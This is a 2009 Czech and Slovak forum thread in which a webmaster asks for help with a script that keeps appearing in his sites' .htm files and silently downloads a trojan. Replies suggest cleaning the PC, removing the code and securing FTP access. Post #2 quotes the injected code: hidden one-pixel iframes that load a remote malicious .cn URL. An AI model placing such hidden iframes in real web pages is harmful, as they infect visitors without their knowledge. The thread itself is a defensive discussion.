Virus na webu

Zpráva

mr_mocak · #1 Příspěvek od **mr_mocak** » 28 led 2009, 16:12

Zdravím, mám velkej problém.. Vedu 3 weby a do zdrojovýho kódu souborů *.htm se mi nějakým způsobem vloží skript, kterej začne neviditelně stahovat soubor s trojským koněm. Zformátoval jsem PC a od tý doby se na ftp nepřipojil, ale stejně to tam je znova, nevíte někdo co s tím? Díky!

mr_mocak · #2 Příspěvek od **mr_mocak** » 28 led 2009, 16:15

Tohle se mi tam vkládá:

<i frame src="http://litetop find world.cn/in.cgi?coca cola31" width=1 height=1 style="visibility: hidden"></iframe><i frame src="http://litetop find world.cn/in.cgi?coca cola30" width=1 height=1 style="visibility: hidden"></iframe>

mikollar. · #3 Příspěvek od **mikollar.** » 28 led 2009, 16:33

vyscitit poriadne PC, zmazat kod zo vsetkych suborov, a zmenit heslo k FTP na nejake silne heslo radsej

mr_mocak · #4 Příspěvek od **mr_mocak** » 28 led 2009, 16:36

To sem prave udelal.. Formatoval jsem kvuli tomu pc, web byl cisty. Jeste jsem se ani nepripojil a je to tam zase, takze to ode me bejt nemuze..

mikollar · #5 Příspěvek od **mikollar** » 28 led 2009, 18:43

hesla na FTP si menil cez zabezpecenie? resp. na FTP sa pripajas pomocou SFTP?

mr_mocak · #6 Příspěvek od **mr_mocak** » 28 led 2009, 18:52

Na FTP se pripojuju prez Total Commander, heslo tam neukladam. Menim ho v uzivatelskym rozhrani na www strankach firmy, co hosting poskytuje ( http://www.forpsi.com ) takze by to melo bejt zabezpeceny. Dneska sem zmenil hesla na 24-mistnej kod s cislama i pismenama a weby nahral znova, tak uvidim, snad uz to bude okej..

mikollar · #7 Příspěvek od **mikollar** » 28 led 2009, 18:58

mno ono ak zmenis tak sa neprihlasuj a uvidis, to SFTP je myslim SSL FTP cize prens dat sa sifruje, nikto nemmoze odchitit hesla a pod. neviem ci TCM podporuje aj SFTP

mr_mocak · #8 Příspěvek od **mr_mocak** » 28 led 2009, 19:56

Diky za radu!!!! Po doinstalovani dvou dll Total Commander SSL podporuje. Tak uvidim, kdy se tam zas cervik objevi...

ZdenekHQ · #9 Příspěvek od **ZdenekHQ** » 28 led 2009, 23:53

Jakej máš hosting ?

P.S. Podle toho scriptu to zblbne jen ten zk*rvenej Explorer...

eljaro · #10 Příspěvek od **eljaro** » 29 led 2009, 17:11

loni v létě se stalo totéž !

Vůbec jsem to neřešil poslal jsem administratorům požadavek na kompletní výmaz a vygenerování nového hesla pro přistup !

Heslo jsem si pak projistotu ještě jednou změnil !

Po nahrání přes ftp je vše ok je klid !

Odemne ten vir nebyl !A jak jsem se nedávno dočetl v novinkách tak jsem nebyl asi jediný administrátor omezil totiž přístupy na přístupy z cz domén a pokud to někdo chce i odjinut musí si to nastavit .

To je jasná známka že ty útoky jsou z venčí a dokonce mimo doménu cz !

Aneb jak říká náš spráce sítě heslo má význam jen když má minimálně 8 znaků a obsahuje malé a velké znaky číslice a alespon jeden zvláštní znak
jinak je lepší žádné !

PS: Omluvte pravopis dík